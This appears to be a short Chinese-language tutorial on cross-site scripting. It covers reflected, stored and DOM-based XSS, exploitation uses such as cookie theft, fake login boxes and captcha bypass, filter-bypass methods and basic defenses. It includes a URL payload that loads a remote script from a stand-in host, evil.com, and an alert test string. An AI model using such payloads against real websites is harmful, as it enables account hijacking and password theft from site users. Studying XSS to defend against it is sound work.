浅谈XSS漏洞
XSS漏洞
xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。
漏洞原理
xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
分类
反射型XSS(非持久型)
把用户输入的数据“反射”给浏览器(诱使用户点击恶意链接)
将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接受该目标用户的请求并处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。
存储型XSS(持久型)
把输入数据“存储”在服务器。有很强的稳定性。
攻击者在发帖的过程中,将恶意脚本连同正常信息注入帖子内容,被服务器存储下来,恶意脚本也永久地被存放在服务器。其他用户浏览这个被注入了恶意脚本的帖子,恶意脚本就会在他们的浏览器中执行。
DOM Based XSS(特殊类型的反射XSS)
不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的(WAF无法防护)
通过修改网页节点形成XSS。基于DOM文档对象模型的一种漏洞。
DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。
XSS的利用
XSS不只是弹窗,弹窗只是测试XSS的存在性。
payload:通过插入javascript代码,控制浏览器,完成各种具体功能.
cookie劫持
通过读取浏览器的cookie对象,攻击者可以不通过密码,直接登陆进入用户的账户.
可以先加载一个远程脚本,例如:
1 | http://www.a.com/test.htm/?abc="><script src=http://www.evil.com/evil.js></script> |
构造GET与POST请求
XSS钓鱼
为了窃取密码,利用javascript伪造一个登录框,用户输入之后,密码被发送到黑客的服务器上.
XSS验证码绕过
通过读取页面内容,将验证码的图片url发送到远程服务器,攻击者在远程服务器接受当前验证码,并将验证码的值返回给当前XSS payload,从而绕过验证码.
识别用户的浏览器
通过XSS读取浏览器的UserAgent对象.
但UserAgent可以伪造,可以通过另一种方法,更准确的识别用户浏览器版本.
分辨浏览器不同版本之间的差异,从而识别成功.
识别用户安装的软件
通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件.
1 | try{ |
收集常见软件的classid,扫描用户电脑中安装的软件列表.
识别浏览器安装的插件和扩展
判断用户是否访问某个网站
style的visited属性,访问过的链接,颜色会变化.
获取真实IP
借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP
蠕虫
条件:用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.
XSS构造技巧
常用测试语句
1 | <script>alert(1)<script/> |
绕过方式
- JS编码
- HTML编码
- URL编码
- 长度绕过
- 标签绕过(标签闭合,标签优先性)
- window.name利用
- Flash XSS
- 利用Javascript开发框架漏洞
- 利用浏览器差异
- 关键字、函数
防护方法
- 过滤输入的数据,非法字符
- 对数据进行编码转换
- 添加HttpOnly
- 输入合法性检查
- 白名单过滤标签
- DOM XSS防御